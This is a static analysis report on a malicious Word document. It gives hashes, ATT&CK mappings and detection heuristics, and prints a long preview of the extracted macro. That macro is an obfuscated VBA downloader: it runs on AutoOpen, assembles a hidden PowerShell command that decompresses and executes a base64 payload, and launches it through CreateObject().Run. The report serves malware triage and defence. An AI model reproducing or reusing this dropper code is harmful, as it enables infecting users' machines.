Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d4bfe9bcf62be2fa…

MALICIOUS

Office (OLE)

157.5 KB Created: 2018-04-04 12:10:00 Authoring application: Microsoft Office Word First seen: 2018-04-23
MD5: 980afecfd278b8bfaf24fc8722ac7fec SHA-1: 9cff70d8cc352c4c53b632fe15e0fd03c699d6a6 SHA-256: d4bfe9bcf62be2fa7c7962d9904ada062dbe613892af76d8498757a514838f79
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Files or Information

The sample is a malicious Office document containing a VBA macro. The macro is obfuscated and uses a CreateObject call, indicating an attempt to execute code. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' and the presence of a VBA macro named 'macros.bas' strongly suggest it's a downloader. The macro's obfuscation and execution of code point to an attempt to download and run a second-stage payload, likely delivered as a spearphishing attachment.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End Select
CreateObject(GAbHzaO).Run IUXfNI + Chr(VBA.vbKeyC) + ilSYtOONdTQn + uHqiKjdLi + pwbcGABjcbcmwq, vbHide
Select Case XjXwsR
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub _
AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 46549 bytes
SHA-256: 5290e0c6df65a9c6c63fec4cfb835e5357306c561551114634e6a8d51523aacb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
646 of 1004 identifiers look randomly generated (e.g. 'PAH5q5Rl1H8I97kunX4x3Q52lL12JdzPpDn2onp9') — consistent with name-mangling obfuscation. Carved artifact contains 13 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rIXpwWNrWaszR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zAjclPaXiwkzu"
Function SWauqtbXEYC()
On Error Resume Next
Select Case HzwjHG
         Case 96503

            nVRUaU = 77103
            ETZCAG = Sqr(32686)
         Case 30823

            dXTWPz = CSng(Eshrip)
            TMUOO = HPQiR
End Select
ivWUdpOGs = hblGa("nMmY4KPqX707w791/') , [sYstEm.Io.cOmPRESsION.ComPRESsioNMOdE]::decOMPRESS ) ), [text.eNcOdiNG]::aSCiI) ).ReAdtOEnD( ) QuDRA", 3, 116)
Select Case GNbmBi
         Case 66396

            djiIYY = 49271
            inwNP = Sqr(14848)
         Case 11609

            jsCtbO = CSng(oEard)
            GfJwsi = hMpqwr
End Select
Select Case KJzFOS
         Case 19930

            BwidH = 24117
            ATjRN = Sqr(28096)
         Case 17021

            mmHHG = CSng(VaLcjj)
            CTXJcv = uGDrW
End Select
UsmdvB = hblGa("r0UU/FSxwEj/eIujm+vF689Rl", 3, 19)
Select Case vUqcOX
         Case 3664

            MTGKEP = 62151
            SAXdk = Sqr(95786)
         Case 99897

            IlSqV = CSng(iPkQAA)
            iOMhjq = RwXjmZ
End Select
Select Case AfVAD
         Case 49987

            zlTkdU = 95660
            pNnsI = Sqr(25980)
         Case 20226

            DWpOi = CSng(IjpJG)
            IhREX = rjQam
End Select
VhIdmV = hblGa("PaFBkrDtjGRhigPu6x3IOAkcpxvDPp+/Papqh5bUYSG@4DD", 5, 38)
Select Case JUztHq
         Case 36211

            pKSdOL = 12765
            dnvTNr = Sqr(235)
         Case 15619

            iUuVbE = CSng(kqEOYP)
            zqIQz = nqMHQ
End Select
Select Case RLYaJ
         Case 37838

            YDWqd = 25160
            cZwdm = Sqr(55644)
         Case 36314

            fJHOi = CSng(BkSvv)
            RiHPIc = IJPjQQ
End Select
POKDVP = hblGa(".7tJ,B+sTV75+Kd6uHTdb1N3x7PjCPs5Lj2OtcyPxwDilB/w8vbZ6/qHDLeMeCgcj8sPjCeJx7fXdveDR8cFzoY/Il3UgrsDPg9ZDb9DHMXB+UJw9z5O4AA760o+DWht", 7, 119)
Select Case zsXTjT
         Case 92598

            fPSvlv = 45520
            DviNz = Sqr(95544)
         Case 34218

            UKCKJP = CSng(rzHTIN)
            ObDSzs = MrfkqL
End Select
Select Case wsCPUO
         Case 88133

            SEhzo = 68073
            dPjPJ = Sqr(78908)
         Case 28787

            EXKEK = CSng(uoCBP)
            zwnjsw = cGqOGh
End Select
vzhARl = hblGa("FMdI/KfpN9Ep9q8DXr31q+qhJvK8ZPPT6yjqwz+7vWXK7E+yCdq5kP60bdi/SjnKt5LmRdiC8+CvjN8zOSnxP4zqPyGKov8KfBiDfovvfNONfyPKS/qsR3E08qzYfpy2uT/Y/zakr/S5050CeyD6w/eHuQrh+k671Onyi2tb", 4, 161)
Select Case XtATw
         Case 98636

            mzrKJj = 84817
            QivYF = Sqr(3122)
         Case 63383

            AXMqmA = CSng(JDWIp)
            njFQv = zwViN
End Select
Select Case CnpHU
         Case 3559

            MQQQt = 23382
            zzlOwc = Sqr(89551)
         Case 82376

            Sjkhkz = CSng(YcDSBw)
            IIXIA = WFNYuR
End Select
rzVSzJmfc = hblGa("D5Chdr6gPuobcOp98fdT3wfxd3xBXJXijv7+wP6qztHjiN0+zBv8GQiXI8+jFn6C49frZMxn1VAPGF/Q+0rfixfE+0g60fN1c/CkFh+Aw41wLn4T3+AjnWdbc", 3, 115)
Select Case vbpPZL
         Case 83583

            bjUYM = 62972
            nqtdBa = Sqr(54968)
         Case 12992

            UuwYN = CSng(MnSVo)
            nntpEA = YCjnLf
End Select
Select Case MKjVhA
         Case 14264

            UHcdA = 89651
            owqihr = Sqr(4258)
         Case 24575

            OKLZWw = CSng(qJvQK)
            BFsDMF = lhqPW
End Select
EPFiPnYO = hblGa("Bhwrgs2a6+82riyte7Cbxubx+qN/ftfa0f6o7M9oV3bT+udfbFxb3drIxlObtdc7G5utorU2ibZqbGDjaMGfS+tmrfXwGtO+k/RcY882wXNbP28WrbTxzoKl/SaV758+X/p+Q183t7Rfeg3xeuOfp+c2Nlmm832/yPP93Mg4Zr4pi@NcN", 4, 168)
Select Case YbzcsJ
         Case 95286

            HWpio = 45468
            mUEiXu = Sqr(92785)
         Case 70240

            ifwvpj = CSng(vClXs)
            jCGMlu = CUXidz
End Select
Select Case jdGEu
         Case 21048

            MfArh = 43840
            Unfkju = Sqr(96227)
         Case 95131

            QUMHu = CSng(taoMJZ)
            NinvU = hoosS
End Select
iNvFIdlV = hblGa("T8ldYe8WynvWveAkHW6yX6ROj6PxPNKdaSfxT5H8f5ZcyDrI3+PAH5q5Rl1H8I97kunX4x3Q52lL12JdzPpDn2onp9MhbMgnVvKB0Tllf161v1GvqdmnLjvyle1HQ+Pmm+cKw3nLOu1JG/43OblXjvl/CYeHjrdGivY RB2", 3, 159)
Select Case SRTAtM
         Case 45252

            PqjiDK = 54020
            ZDVNBI = Sqr(49041)
         Case 2685

            oZaPYc = CSng(tHbSZa)
            AmnwXu = rKvvO
End Select
Select Case mQiFcQ
         Case 16437

            vFtSbA = 73969
            kuOCKY = Sqr(39228)
         Case 70090

            LjnYPZ = CSng(mRJMDi)
            Mtsorz = jGmXRl
End Select
lWOBwMQ = hblGa("04BzlvEu2M/oCcebyWeNeJlRd0CHug3iK8peUqcYs5ivnpe4L3HQ99C3UI/j/I1wDF5W2keOh41lzS/Zm3nC1rNz+3LfG+IB/Jjq/iBM9ZvJ7+Z6yldoNS0JbJT", 2, 115)
Select Case zoNvw
         Case 19754

            hUNjj = 14280
            KqaqGI = Sqr(3342)
         Case 16543

            jcnBb = CSng(BAzocm)
            wQETVf = iILpN
End Select
Select Case dtwhKz
         Case 52700

            LsbHvd = 44217
            wnVJs = Sqr(75189)
         Case 47269

            UjoYQ = CSng(jrslcX)
            lAVQtq = zjpiK
End Select
Ezazpci = hblGa("w+F5SR/k+83AG3V1Stz0u1N/x5H0OynMtfUB/h+LZF/aXOJkb6x+QX2Sd2M+t5z9z3Do+xB/qXCQ+x9BF8Bw61uFtSlxOoK896CL4OFVd8nwI4jtwAB2fOw49f/Ax+H579b2Pu2Wv,BAb", 2, 133)
Select Case Dazdwq
         Case 40551

            NaJCLP = 22583
            OJAzaM = Sqr(75261)
         Case 98405

            zwVPlt = CSng(NRsGr)
            omCsY = MNiar
End Select
Select Case WmATd
         Case 43600

            JsVYHd = 35841
            huCTnz = Sqr(96932)
         Case 88964

            aMUiFj = CSng(zllhz)
            BhrUi = DpzBF
End Select
YIjNZF = hblGa("SDu/ft10X1/udj5T8Mfp2cnPy6uz+cnFxdFuV5WZRX/aLfuyjK0XlxMUgfpY97w2J0VVz0i/LyKv2/LIbnRX+Y3g4uin6Z1pe94qJX9NIfRfp3mZanl/NBcXVRjC6KyzJ9cVkMzotRehYuEK", 4, 136)
Select Case lRRzzC
         Case 45506

            WsRCLE = 15990
            aWrltM = Sqr(86226)
         Case 39860

            TRnrod = CSng(OGUSH)
            ljJHwJ = pJiCF
End Select
Select Case KCfwpt
         Case 71252

            sYWmN = 99587
            ckFSs = Sqr(66565)
         Case 705

            rJiEIY = CSng(RkpKq)
            ROzwzQ = ZsVwF
End Select
rsUpizs = hblGa("4aD6k/fgA3nWUt/IW+jcTvh+xQf0H3GirtQx8gt1Af5K8KoVHyLjhy57Hg1xErLuN8R50FzgHJtKX6bUUeg1+8K41joX5+B84AbzMdeVuoA+oo7UreA4oA71pKPQX/DL8dZ4HXKe4PMR9YucB9B3n6t5frTUS/B+nHUz+rpSdULdyKdpp8d15qzQ16s", 2, 181)
Select Case DEpMFz
         Case 19321

            nmGoch = 75075
            lwCJN = Sqr(21898)
         Case 42668

            UtRvB = CSng(ojzRUB)
            XkNjOd = sJWjRT
End Select
Select Case RmimIK
         Case 20479

            RrqMLw = 88326
            ChiKRj = Sqr(43451)
         Case 95056

            kjvsun = CSng(pmOBKa)
            KTSVir = kowwjA
End Select
wpIWrYUYihL = hblGa("R7bRYdRPjFKF3fS94Z6Msn9XHu8wiPnHP3GUvvC//Q6Hvp5rXykdIE+sxJfwOO7n", 6, 57)
Select Case LSlPl
         Case 1737

            dOAXD = 17044
            Zisob = Sqr(69239)
         Case 46916

            zLrFKA = CSng(zuOmdd)
            cmYZa = ERzaiE
End Select
Select Case zZVzvh
         Case 70518

            DrWTF = 90808
            WYHUuh = Sqr(74632)
         Case 82746

            HOJZRp = CSng(kwUwN)
            oOVaDz = XjBsl
End Select
TjCQjqVqv = hblGa("Zu8Pf6I+/ok59xGt28PPnXseJn+fro8f3jPwa1cuIl7nXaQKc75C3OX4qvh8j7wNx558vff/S80f9Uj9X2Nf7xTqg/unz4HXz7435BeF1hufXfv5O5+xVn1avwGXqywH4dz50/TbvNH.Gz", 4, 135)
Select Case oAoqA
         Case 20614

            frhYLl = 26721
            lUkwjj = Sqr(69103)
         Case 86102

            UipiTY = CSng(QnDAG)
            IUofKz = wPRjYl
End Select
Select Case dhaSp
         Case 50246

            IzNNc = 69856
            lJufp = Sqr(19270)
         Case 58953

            TVnEo = CSng(VmAFX)
            QOahw = pIvZD
End Select
csNRfL = hblGa("lN923pcY54rvevVj8r3+/on6BE1a22", 2, 23)
Select Case iaszfI
         Case 93704

            mZNFf = 70918
            AnNNIE = Sqr(59697)
         Case 97512

            iMjSU = CSng(IuSFa)
            dVGrI = TqAUC
End Select
Select Case lQzjnP
         Case 24499

            GVuJj = 77544
            hPVNzw = Sqr(84707)
         Case 55167

            nQHCcF = CSng(lnjvQf)
            YBqFi = zilLV
End Select
nvEzijz = hblGa("8br@kT3dW0vNJd7LGvkvo/+hH6ro/51X1vFqoLm2F182L/gOmtu5j/leLd9GfzyQD9rxHkXc0D/sqAv2++9vT/7/fj77eP94d7zW", 6, 92)
Select Case ubpRtt
         Case 76071

            wWIKt = 2362
            IVCsQB = Sqr(91947)
         Case 92710

            HtJDi = CSng(fvjzL)
            wVnBd = XCtjM
End Select
Select Case lukBUc
         Case 17764

            paZuBn = 67642
            YOjQMs = Sqr(54592)
         Case 99557

            jnnGb = CSng(IbvwQ)
            AzPskT = DXomCa
End Select
WwOnO = hblGa("a+sL/uA+XrEvMF6c1w8y28cVSf6Tukn65znWPYLa+kp7i/yH5yjAbjK5zV8HnNVvqjhfApZ102+36irxHf2tUa/CN1nn+jzEHfWhzwv4M9xr+H8fNBcLOk/yZvs13nv0DziPWnL/nh8S917gnjv9zHyjPvs5Fvc73LeUNeifCHY0jmOk", 2, 169)
Select Case DaBct
         Case 35364

            sloVnN = 9677
            TFpTq = Sqr(44774)
         Case 32415

            XbYjw = CSng(uBljPS)
            ZSEzKI = bXzFo
End Select
Select Case IwVAG
         Case 20397

            iELmL = 87073
            VRrns = Sqr(2477)
         Case 96616

            Puhar = CSng(rFGhjv)
            MZLHtN = KTkquV
End Select
LjJmwR = hblGa("45/1e4Hw/8pv8B627Pi2ynOw5f7dPa6hT6afqHS/r7t700pzF793kL9b4UW/r2gOvdyr9/RdXT1a6WL2WaPOl/J3i2f9PpP7O9LvOUkMhuW", 3, 99)
Select Case NqtRW
         Case 15039

            jbTjSk = 82415
            FFbzNJ = Sqr(84695)
         Case 61379

            zowBvJ = CSng(fWYiOM)
            Nnwcz = aacILO
End Select
Select Case ttiiLs
         Case 26279

            fuutO = 21253
            auURif = Sqr(84718)
         Case 6268

            LzhtM = CSng(vkttc)
            RIhUNz = wcarvz
End Select
GQGRE = hblGa("@4+'T')  ('Io.cOmprE'+'s'+'s'+'ion.'+'DeFlates'+'tR'+'eaM')( [IO.memoRystReaM][coNvErT]::fRoMBASE64STRING('TVhbbxpJF/wrfogURztrMVx8WWkfjsMsRERj%", 3, 138)
Select Case XOPUBB
         Case 80837

            TNKUL = 45453
            JzUitI = Sqr(73032)
         Case 74271

            VjQEjl = CSng(lwkkh)
            YrbFr = UJtnEw
End Select
Select Case BGQTRq
         Case 9325

            HhvZk = 23049
            RbOJwY = Sqr(5045)
         Case 90591

            oSjpk = CSng(CbSrzn)
            wlwEbQ = iFvLij
End Select
PSEipSShQQw = hblGa("T4z8v@+ozQ//QT/pq", 7, 9)
Select Case vfRNw
         Case 21424

            izHPSS = 58366
            HsOBb = Sqr(59875)
         Case 56129

            rwmAn = CSng(XXHAkH)
            BdzcqS = rpJzQK
End Select
Select Case HGqhMU
         Case 92684

            rprjr = 39436
            zOaEh = Sqr(31304)
         Case 84673

            LCwBSu = CSng(qPlHz)
            VtoCi = iuUbQL
End Select
SmtMRPaRDoq = hblGa("Qv0lIw+xbsR/FJ6jnquo89A18oU6CT3doj/A7VLzYerrW+G3z3z88+j92YMneG6n+VEJN8DFHvVF3Hk+vdrf+H5mrDf7hju7", 7, 88)
Select Case WTVYV
         Case 21168

            LiiNT = 56629
            fzbvkU = Sqr(11730)
         Case 57304

            mCzRJ = CSng(rbipQ)
            rUrPw = EqPbjE
End Select
Select Case ausPkl
         Case 11841

            jtPMC = 67134
            oquJsa = Sqr(50410)
         Case 98944

            QUHfo = CSng(EScAo)
            YsPHA = VAHrXN
End Select
DdwMoN = hblGa("YRw4('n'+'ew-objEc'+'T')  ('I'+'O.StrE'+'A'+'mre'+'ader')( ( &('new-o'+'bjEc'u8D", 5, 73)
Select Case RzNUl
         Case 31476

            vdzQd = 52114
            VpzjC = Sqr(89815)
         Case 45275

            wiCsn = CSng(zHYwu)
            WQqzr = oYvszd
End Select
Select Case HQbmqT
         Case 88607

            OWunA = 61066
            wHcnBX = Sqr(30805)
         Case 3387

            YEnawA = CSng(AJnlE)
            JVqVuz = nFDNZ
End Select
zhuZCD = hblGa("1b & ((&('ge'+'T-V'+'ARIaBLE') '*mDr*').naMe[3,11,2]-joiN'') (&XT0a2", 3, 61)
Select Case lflHU
         Case 84572

            pOljU = 21289
            BuiMu = Sqr(88691)
         Case 1541

            GwjdSm = CSng(TBZAlP)
            OBStpG = jJBjkN
End Select
Select Case zAXzHB
         Case 36166

            riBXkw = 69898
            YuuOps = Sqr(14367)
         Case 79460

            XfdcK = CSng(waDhJN)
            Fwdkk = kfQwNu
End Select
zDNCMzIVvZ = hblGa("Bfz5fs65e/8hz5lhfeT2eNnRMl", 2, 20)
Select Case oHKJGt
         Case 65542

            jVoFjw = 4708
            hQbiVp = Sqr(97146)
         Case 71972

            IUEjH = CSng(QhftrQ)
            aPfRWa = fDqiji
End Select
Select Case NUArZ
         Case 70326

            SBqwti = 27125
            NSOzQ = Sqr(18584)
         Case 67785

            uFqEYF = CSng(duPtb)
            HNGAv = rEIOY
End Select
ScELitbpsIJ = hblGa("W%Gi+xZXOKW0SPM6e7z+3673HldZ/wbmNv6b3jecRbGXW1/uB9tv6uen51r8PnneKP8X5bOO177P3dQH7N1ZHP3eZ1vH8lPczvs/5Np4P8Tm4", 5, 102)
Select Case noLuf
         Case 45455

            iYGmif = 15016
            cNEdl = Sqr(73702)
         Case 97245

            EHzUz = CSng(qlrSjk)
            NiOsC = hBbYUo
End Select
Select Case wZiRW
         Case 93994

            FPzdlT = 14532
            HWAisc = Sqr(34032)
         Case 29977

            RusZc = CSng(ksiFCi)
            HKjdz = wfwTj
End Select
EaisTLF = hblGa(",ciRipw/sV8jnyM5sPc+wQc+PfQ222nR+PcL1PeldZX4lXQnGhe538kjllfzF3XP8UD/el8B9apn8rTiG/MdcNQ0a", 6, 80)
Select Case oFQdq
         Case 62543

            JczbEB = 56173
            MlHNFz = Sqr(84168)
         Case 29888

            wOdKTW = CSng(bLRoi)
            PnYXU = HibbVf
End Select
Select Case zBzlHT
         Case 58766

            YjXova = 83443
            DKGpZA = Sqr(19387)
         Case 52652

            XZMXBc = CSng(ZOjlt)
            OzPhTB = TtVzMa
End Select
oXhnrYuN = hblGa("0v1n Bnu5zqapTzdnpyZvFzf2H/Xb8qfz8y5vFpvrwwf8efP7l7fPbd6cnp58el1/vpqE62359qm6/fV/cP/5v+v5+cRbscbGxD59/++370+PT/Mfd43TW/P3j6fb05NPjz9nd9OH+bDu7u7/99ueiuv24XVc/zh7+uv1xg2cW9+9/3laL9NDX5unb9cIfe3P69uJ8eNHY", 6, 195)
Select Case WTDwrW
         Case 17356

            tSbWDR = 29158
            qFzRwJ = Sqr(49945)
         Case 83987

            IfJiEN = CSng(anjFL)
            uXdiDz = wwiEM
End Select
Select Case wKspkv
         Case 66469

            EJbAlO = 91503
            NuYqm = Sqr(84317)
         Case 65451

            BHXXKl = CSng(UtioLi)
            hfzwk = MOzEiE
End Select
nicKMnXmRLv = hblGa("FN07QX/pyzL84vh4N/esD8YloO/y/PeqPfXaDAcheb60iY7+ydej+2msrvmeml/pPft9TeWD", 6, 65)
Select Case CzqMEc
         Case 13906

            cXLRTM = 12139
            CZkju = Sqr(26603)
         Case 86267

            pHwZmH = CSng(oFmuW)
            Vjibi = ImfQZ
End Select
Select Case KOfaw
         Case 23931

            zhCwO = 77001
            frpHQw = Sqr(54840)
         Case 89801

            tXuaz = CSng(miufG)
            qjtku = Fhlww
End Select
PhqvqFTBn = hblGa("z9/M5Getcn7jhXeK/I/gz7cf5b9pdRGlATT", 2, 27)
Select Case EpzWzs
         Case 33740

            QNmDEm = 37997
            vUDjhD = Sqr(78476)
         Case 14905

            XVrWMP = CSng(YvWIUP)
            BNMHdz = jIlZmR
End Select
Select Case iiqjE
         Case 89469

            TfjUQ = 14101
            fPTzU = Sqr(51948)
         Case 38410

            QbiOq = CSng(wWjOIU)
            TOHbZ = qoqHk
End Select
tnKDun = hblGa("UIOcSNUZ9nyp/3Z+Bt1OER31P351mnNBcwp7z/De9DvIfkPoGXpfT3xZ+9mp9YP9G8moAvB/kW6k6kb1ppnvK+EaR3Xn/iCHOedYbfqfOcs6yv6pN8a77/4N4AXSIPqEfQ4bLzSfSvO91Ds96OpBcd fn", 3, 147)
Select Case FAfjiW
         Case 96632

            ONPCq = 8256
            VIDGHm = Sqr(7574)
         Case 24182

            LXvKd = CSng(aTtdkr)
            nzrKQ = FzElVo
End Select
Select Case Rjzcs
         Case 63481

            hNGRzb = 62253
            pwLOYR = Sqr(82601)
         Case 80007

            jlEnW = CSng(zPNEY)
            SbDrQW = DQnDu
End Select
fmAnr = hblGa("VRW2akKeKe8+6tik10mt9RXz8n2atO8EryOPv45+XpXq6/WpU524PpjnETyuoccRvD5jX+dxep08n6WfX6Ju3ieu2+Nc9LPxfTeqVx/noh65nusukOlu", 6, 107)
Select Case rjGJd
         Case 132

            uuwGcz = 20948
            IClWH = Sqr(28709)
         Case 44220

            IXHum = CSng(pshJli)
            rGjEzk = iwOSL
End Select
Select Case wOVBY
         Case 52663

            SzChQo = 25046
            CFOIql = Sqr(86995)
         Case 81086

            BGqhdG = CSng(nNwwr)
            dEqNz = FnDzQz
End Select
UmPowdlAzY = hblGa("b.20bA80pb6K/xoTtSav5yHU/ar8z1r+fSl7neV7p1B8z77N/C2VP4b6dhRfgg4xDrew0bq/1b7PmgeHKWrmFtB+kufGeVX8321li7u5Md2nEvUrY3uRBu", 7, 109)
Select Case wCVWn
         Case 7100

            jARkG = 79175
            ruCpOr = Sqr(85468)
         Case 52727

            RdoQk = CSng(wIakJ)
            IRrLu = idnGG
End Select
NaTMFtICpSDmM = kNtAHCFa + """" + tDtznniCIK
SWauqtbXEYC = SnCzdrrSpmdKQ + fkicLiTXOw + twvUVIFOm + NaTMFtICpSDmM + LWjjXIzAXi + zhuZCD + DdwMoN + GQGRE + VhIdmV + oXhnrYuN + nicKMnXmRLv + EPFiPnYO + ScELitbpsIJ + fmAnr + zDNCMzIVvZ + UsmdvB + csNRfL + TjCQjqVqv + PSEipSShQQw + rzVSzJmfc + POKDVP + Ezazpci + rsUpizs + SmtMRPaRDoq + EaisTLF + lWOBwMQ + vzhARl + wpIWrYUYihL + PhqvqFTBn + WwOnO + UmPowdlAzY + tnKDun + iNvFIdlV + LjJmwR + nvEzijz + YIjNZF + ivWUdpOGs
Select Case lPOzLH
         Case 63387

            aivkc = 99183
            RpdihM = Sqr(46945)
         Case 45689

            XTHPVE = CSng(mrwwT)
            NSMqN = rQmDj
End Select
End Function

Attribute VB_Name = "kbrnaMZiBVH"
Sub XfjnhMTGXMLtp()
On Error Resume Next
Select Case YtAalL
         Case 95914

            QjLok = 17999
            QzLVr = Sqr(86224)
         Case 91419

            qOXdoC = CSng(Qzzzn)
            ibjvvQ = wctcK
End Select
Application.Run "UAZinaEfv", SWauqtbXEYC
Select Case GNzYzj
         Case 56313

            JLNhJ = 6586
            SNqnVk = Sqr(64483)
         Case 45487

            ZwcjuO = CSng(vTzwK)
            ZANKi = QVNmN
End Select
End Sub
Sub _
AutoOpen()
On Error Resume Next
Select Case iOCoo
         Case 7599

            pYzBH = 94127
            upROJ = Sqr(14087)
         Case 64309

            oqaKG = CSng(HFMJP)
            QASHi = WUsawF
End Select
Call XfjnhMTGXMLtp
Select Case WiaEw
         Case 56004

            pcaMO = 57020
            QiSmrs = Sqr(76445)
         Case 83932

            XKjNkM = CSng(OrUzj)
            hBNjJT = aGsBwF
End Select
End Sub
Function twvUVIFOm()
On Error Resume Next
Select Case WXrGT
         Case 63848

            tYtfw = 57256
            ldQWiT = Sqr(98726)
         Case 42713

            mPwns = CSng(vGjmR)
            zzPXo = bhCaE
End Select
IfiQWM = hblGa("bEF%=l@Bmmk", 2, 4)
Select Case JuUsN
         Case 3693

            VzSEqU = 87332
            lcnvK = Sqr(23831)
         Case 56662

            dBwtPY = CSng(BMKiiw)
            DshovE = vYCvhp
End Select
Select Case BMQoOS
         Case 62642

            iljSZr = 7599
            Qqfrp = Sqr(77627)
         Case 98904

            OGjQl = CSng(csOapT)
            cKYaL = cjsbXX
End Select
wYuMjRGuqiJ = hblGa(",MbWEfv%!!0z", 5, 6)
Select Case uYnas
         Case 25863

            GZIjP = 8099
            IqDwCk = Sqr(22462)
         Case 77287

            HQdKXa = CSng(fLtXw)
            EohbG = CCpKHr
End Select
Select Case QMuuNj
         Case 98354

            OvmDz = 34608
            PqZIrv = Sqr(95615)
         Case 60924

            wJbXq = CSng(SiAlXO)
            SupMu = thKPlz
End Select
jPSqjaj = hblGa("Ai5t %SWauqtbXEYCtZsr", 4, 14)
Select Case vZMhl
         Case 35963

            VwDHbK = 69406
            IDOufF = Sqr(44818)
         Case 60722

            fADmr = CSng(uqXWis)
            SzFio = qhkjJ
End Select
Select Case AjrlS
         Case 36815

            zJFwH = 40698
            VlojG = Sqr(17060)
         Case 96298

            JotQKt = CSng(OwWTw)
            PRvQDj = MsYzm
End Select
wLljlI = hblGa("bi.FtViEhOzp%=he&&sDk4", 5, 15)
Select Case zjjccF
         Case 37101

            WCrBI = 15100
            uHZoWk = Sqr(10545)
         Case 39311

            TCZvUQ = CSng(vdTul)
            VuNfLs = EOvbZ
End Select
Select Case KbMUb
         Case 49893

            uiOac = 63024
            zipAj = Sqr(94364)
         Case 6810

            fTNnHB = CSng(GNMHzf)
            BMaZIo = TGjUqS
End Select
jmpYlwTqEJ = hblGa("6oujTKHvmBvXc@", 4, 7)
Select Case MztYF
         Case 45354

            tHnSJz = 55240
            NUhiT = Sqr(62861)
         Case 55074

            HoOvL = CSng(hTQiv)
            QSjuIk = FmGwr
End Select
Select Case rOlju
         Case 70103

            rVzTjC = 17321
            ufbSi = Sqr(93873)
         Case 17509

            GjmFPa = CSng(KiQFrk)
            QnfBVO = amskrK
End Select
zdhLjiZt = hblGa("ETaGFrjCK@DNUA", 4, 5)
Select Case SZvci
         Case 34561

            zHifRr = 74606
            QwRkFP = Sqr(76119)
         Case 75618

            buIjzt = CSng(YQUrE)
            cJSKQ = AVDWAl
End Select
Select Case srmJh
         Case 69441

            utUYCv = 788
            scCjp = Sqr(34270)
         Case 87266

            FHKnBm = CSng(PCXhi)
            YicKjF = JrwHa
End Select
IzWuA = hblGa("wQtICoZHhE%=bhd8", 4, 9)
Select Case NNlQsA
         Case 97746

            hBWzoI = 42543
            VfNRl = Sqr(38695)
         Case 96314

            VJMdpN = CSng(DMIYK)
            mijjqq = FNrztE
End Select
Select Case IrGoU
         Case 17424

            liiGB = 2532
            DWzcn = Sqr(27593)
         Case 1308

            DcRcSu = CSng(duiIRU)
            MXGDKJ = JMZkM
End Select
iPIMw = hblGa("lHWEn%!!%DwtViEA2", 5, 11)
Select Case hLFsq
         Case 31214

            odXsqL = 10151
            jbskm = Sqr(16287)
         Case 17856

            VkDrT = CSng(QsrGVz)
            pmRAn = jAONw
End Select
Select Case SKDlhI
         Case 77829

            wGZpE = 5398
            uzrDpl = Sqr(12893)
         Case 48352

            paSdt = CSng(rimoCD)
            WOFqj = KBZuK
End Select
XtTQhjc = hblGa("7%=ll&&!%NIrujz2N85lwtK", 2, 14)
Select Case qktrkv
         Case 23479

            zwHqLS = 99384
            uCPzq = Sqr(40380)
         Case 51450

            zwCwOE = CSng(jHuDM)
            mCsqSb = HPfQIv
End Select
Select Case kPiYjb
         Case 21804

            nAEkT = 79532
            WwvhFt = Sqr(72242)
         Case 63842

            qDslIJ = CSng(ATltjp)
            VsQDHK = YFNwQ
End Select
bvXCGnfo = hblGa("NwfUlunLhz%=JdMZzot8kUMqU", 2, 17)
Select Case qhbqwi
         Case 67232

            cjZzdE = 7020
            ivOhO = Sqr(49523)
         Case 77163

            qdWkSw = CSng(nriFSr)
            uBGztJ = FdFKHW
End Select
Select Case WSfQZu
         Case 72293

            KAbtu = 59980
            ZFKRd = Sqr(10699)
         Case 91762

            iOMTBK = CSng(OPnqBp)
            TptiD = WdHzEw
End Select
OhTJcMCV = hblGa("0i.uk@aSZzcK%=hpZpzYc&&setz", 7, 19)
Select Case EBCRVa
         Case 66270

            CNajH = 26404
            MFEdLI = Sqr(74024)
         Case 40596

            zCLNA = CSng(OPFLs)
            NWVbG = QbSuv
End Select
Select Case KcutP
         Case 57425

            qSiBPw = 78170
            nSRkL = Sqr(29725)
         Case 75061

            itJrr = CSng(tzcAiF)
            GRCpi = NTuXaY
End Select
dbwaP = hblGa("wYDtet %JjTKHvmBhioocSBYH", 5, 18)
Select Case mZzGR
         Case 16180

            GQzGm = 77570
            YhYPP = Sqr(68265)
         Case 70932

            BPvjhZ = CSng(kWiTn)
…

Open this report in the interactive analyzer, or submit your own file for analysis.